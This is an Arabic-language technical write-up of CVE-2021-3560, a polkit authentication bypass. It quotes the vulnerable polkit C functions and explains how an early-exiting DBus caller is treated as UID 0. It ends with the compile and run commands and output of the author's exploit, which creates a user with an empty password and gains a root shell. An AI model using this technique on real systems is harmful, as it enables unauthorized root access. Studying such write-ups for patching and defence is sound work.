
استغلال موثوق مبني على لغة C مع شرح تفصيلي لـ CVE-2021-3560.
استغلال موثوق مكتوب بلغة C لثغرة CVE-2021-3560.
بالأمس عثرت على هذا المنشور بقلم كيفن باكهاوس (مكتشف هذه الثغرة)، وجرّبت أوامر bash الواردة في المنشور ولدهشتي نجحت على جهازي الذي يعمل بنظام Kali Linux!
CVE-2021-3560 هي ثغرة تجاوز للمصادقة في polkit، تسمح لمستخدم غير مميز باستدعاء طرق مميزة باستخدام DBus. يستغل إثبات المفهوم (PoC) هذه الثغرة لاستدعاء طريقتين مميزتين توفرهما accountsservice (CreateUser وSetPassword)، مما يسمح لنا بإنشاء مستخدم مميز ثم تعيين كلمة مرور له.
يتحقق polkit من كون المستدعي مخولاً لاستدعاء مثل هذه الطريقة، وذلك بالتحقق أولاً من معرّف المستخدم الخاص بالمستدعي؛ إذا كان صفراً يُفترض أن المستدعي هو root ويُسمح بالإجراء دون طلب مصادقة، وإلا فإنه يطلب كلمة مرور المستخدم.
تستدعي دالة polkit_system_bus_name_get_creds_sync() طريقتين للحصول على UID وPID الخاصين بالمستدعي: GetConnectionUnixUser وGetConnectionUnixProcessID، وتُكتب نتيجة هذين الاستدعاءين إلى البنية data من النوع AsyncGetBusNameCredsData (هذه البنية تُهيأ إلى 0) بواسطة دالة الاستدعاء الراجع on_retrieved_unix_uid_pid()، وتظل polkit_system_bus_name_get_creds_sync() محظورة أثناء انتظار دالة الاستدعاء الراجع لتعيين خطأ أو تعيين UID وPID.
static gboolean
polkit_system_bus_name_get_creds_sync (PolkitSystemBusName *system_bus_name,
guint32 *out_uid,
guint32 *out_pid,
GCancellable *cancellable,
GError **error)
{
gboolean ret = FALSE;
AsyncGetBusNameCredsData data = { 0, }; // intialize to 0
GDBusConnection *connection = NULL;
GMainContext *tmp_context = NULL;
connection = g_bus_get_sync (G_BUS_TYPE_SYSTEM, cancellable, error);
if (connection == NULL)
goto out;
data.error = error;
tmp_context = g_main_context_new ();
g_main_context_push_thread_default (tmp_context);
g_dbus_connection_call (connection,
"org.freedesktop.DBus", /* name */
"/org/freedesktop/DBus", /* object path */
"org.freedesktop.DBus", /* interface name */
"GetConnectionUnixUser", /* method */
g_variant_new ("(s)", system_bus_name->name),
G_VARIANT_TYPE ("(u)"),
G_DBUS_CALL_FLAGS_NONE,
-1,
cancellable,
on_retrieved_unix_uid_pid, // callback funtion
&data); // data is passed to the callback function along with the reply from the method
g_dbus_connection_call (connection,
"org.freedesktop.DBus", /* name */
"/org/freedesktop/DBus", /* object path */
"org.freedesktop.DBus", /* interface name */
"GetConnectionUnixProcessID", /* method */
g_variant_new ("(s)", system_bus_name->name),
G_VARIANT_TYPE ("(u)"),
G_DBUS_CALL_FLAGS_NONE,
-1,
cancellable,
on_retrieved_unix_uid_pid, // callback funtion
&data); // data is passed to the callback function along with the reply from the method
while (!((data.retrieved_uid && data.retrieved_pid) || data.caught_error)) // block while on_retrieved_unix_uid_pid() is not called yet
g_main_context_iteration (tmp_context, TRUE);
تُستدعى دالة الاستدعاء الراجع on_retrieved_unix_uid_pid() بعد كل استدعاء طريقة لاسترجاع الرد (UID وPID) أو تعيين خطأ، تستدعي هذه الدالة g_dbus_connection_call_finish() لاسترجاع الرد؛ إذا حدث خطأ تعيّن data.caught_error إلى TRUE وتعود (يبقى data.uid وdata.pid مضبوطين على 0). وإلا فإنها تُسند القيمة المسترجعة (UID أو PID) إلى data.uid أو data.pid (اعتماداً على القيمة المسترجعة) ثم تعود.
static void
on_retrieved_unix_uid_pid (GObject *src, // connection
GAsyncResult *res, // Async result object
gpointer user_data) // data paramter passed from previous function
{
AsyncGetBusNameCredsData *data = user_data;
GVariant *v;
v = g_dbus_connection_call_finish ((GDBusConnection*)src, res,
data->caught_error ? NULL : data->error); // finish and get the reply
if (!v) // error ??
{
data->caught_error = TRUE;
}
else
{
guint32 value;
g_variant_get (v, "(u)", &value); // unpack the reply, get UINT32 (u)
g_variant_unref (v);
if (!data->retrieved_uid) // GetConnectionUnixUser method
{
data->retrieved_uid = TRUE;
data->uid = value;
}
else
{
g_assert (!data->retrieved_pid); // GetConnectionUnixProcessID method
data->retrieved_pid = TRUE;
data->pid = value;
}
}
}
ستعيد طريقتا GetConnectionUnixUser وGetConnectionUnixProcessID قيمتي UID وPID إذا وُجدتا (أي أن عملية المستدعي ما تزال متصلة بالناقل bus)، أو خطأً إذا حدث خطأ (مثال: تم إنهاء عملية المستدعي).
بمجرد تعيين data.uid وdata.pid أو تعيين data.caught_error تستمر دالة polkit_system_bus_name_get_creds_sync() في التنفيذ، وهنا تكمن الثغرة؛ فهذه الدالة لا تُرجع خطأً إذا كان data.caught_error معيناً، بل تُسند أي قيمة موجودة في data.uid إلى out_uid وتُرجع TRUE (حتى لو كان data.caught_error معيناً). out_pid هو مؤشر إلى متغير من نوع guint32 يُمرر إلى polkit_system_bus_name_get_creds_sync() عند استدعائها بواسطة polkit_system_bus_name_get_user_sync():
static gboolean
polkit_system_bus_name_get_creds_sync (PolkitSystemBusName *system_bus_name,
guint32 *out_uid, // pointer
guint32 *out_pid, // NULL
GCancellable *cancellable,
GError **error)
{
[snip]
while (!((data.retrieved_uid && data.retrieved_pid) || data.caught_error)) // wait for the callback function to handle reply
g_main_context_iteration (tmp_context, TRUE);
if (out_uid) // TRUE
*out_uid = data.uid; // set it even if there is an error [!]
if (out_pid) // FALSE
*out_pid = data.pid; // set it even if there is an error [!]
ret = TRUE; // return TRUE even if there is an error [!]
out:
if (tmp_context)
{
g_main_context_pop_thread_default (tmp_context);
g_main_context_unref (tmp_context);
}
if (connection != NULL)
g_object_unref (connection);
return ret;
الاستغلال:
إذا استدعت عملية A طريقة مميزة باستخدام DBus، فسيتحقق polkit من UID الخاص بالمستدعي. إذا خرجت العملية A فوراً بعد إرسال الرسالة، فستعيد الطريقتان GetConnectionUnixUser وGetConnectionUnixProcessID خطأً لأن عملية المستدعي لم تعد موجودة. ستُعيّن دالة الاستدعاء الراجع on_retrieved_unix_uid_pid() قيمة data.caught_error إلى TRUE، وستبقى data.uid وdata.pid دون تغيير (مما يعني بقاءهما مضبوطين على 0 لأن البنية data تُهيأ إلى 0). ستواصل دالة polkit_system_bus_name_get_creds_sync() التنفيذ وتُسند out_uid إلى data.uid (0) وتُرجع TRUE.
وستواصل عدة دوال إرجاع UID المزيف (0)، حتى تُرجع دالة polkit_backend_session_monitor_get_user_for_subject() قيمة user_of_subject (المبنية من UID المزيف) إلى دالة check_authorization_sync()، التي تتحقق مما إذا كان UID هو root عن طريق استدعاء identity_is_root_user(user_of_subject) والتي ستعيد TRUE وبذلك تكون العملية A مصرحاً لها.
static PolkitAuthorizationResult *
check_authorization_sync (PolkitBackendAuthority *authority,
PolkitSubject *caller,
PolkitSubject *subject,
const gchar *action_id,
PolkitDetails *details,
PolkitCheckAuthorizationFlags flags,
PolkitImplicitAuthorization *out_implicit_authorization,
gboolean checking_imply,
GError **error)
{
[snip]
user_of_subject = polkit_backend_session_monitor_get_user_for_subject (priv->session_monitor,
subject, NULL,
error);
if (user_of_subject == NULL) // false
goto out;
/* special case: uid 0, root, is _always_ authorized for anything */
if (identity_is_root_user (user_of_subject)) // true
{
result = polkit_authorization_result_new (TRUE, FALSE, NULL); // authorize the caller
goto out;
}
[snip]
قررت كتابة إثبات مفهوم (PoC) باستخدام واجهة برمجة تطبيقات DBus بلغة C. لم أستخدم sleep() أثناء انتظار إرسال الرسالة إلى الخدمة المستهدفة، بل إن دوال DBus توفر معامل مهلة (timeout)، لذا من خلال (إساءة) استخدام هذا المعامل يمكننا إجبار الدالة على العودة فور إرسال الرسالة ثم إنهاء العملية، مما يسمح لنا باستغلال الثغرة في polkit وتجاوز المصادقة. راجع هذا المنشور للتفاصيل التقنية.
user@host: gcc -Wall exploit.c -o exploit $(pkg-config --libs --cflags dbus-1)
user@host: ./exploit
user@host:~/CVE-2021-3560-testing$ gcc -Wall exploit.c -o exploit $(pkg-config --libs --cflags dbus-1)
user@host:~/CVE-2021-3560-testing$ ./exploit
[*] creating "pwned-1624301069" user ...
[!] user has been created!
[*] user: pwned-1624301069, uid: 1007
[*] setting an empty password for "pwned-1624301069" user..
[*] an empty password has been set for "pwned-1624301069" user!
[!] run: "sudo su root" as "pwned-1624301069" user to get root
┌──(pwned-1624301069㉿host)-[/home/user/CVE-2021-3560-testing]
└─$ sudo su root
We trust you have received the usual lecture from the local System
Administrator. It usually boils down to these three things:
#1) Respect the privacy of others.
#2) Think before you type.
#3) With great power comes great responsibility.
root@host:/home/user/CVE-2021-3560-testing# id
uid=0(root) gid=0(root) groups=0(root)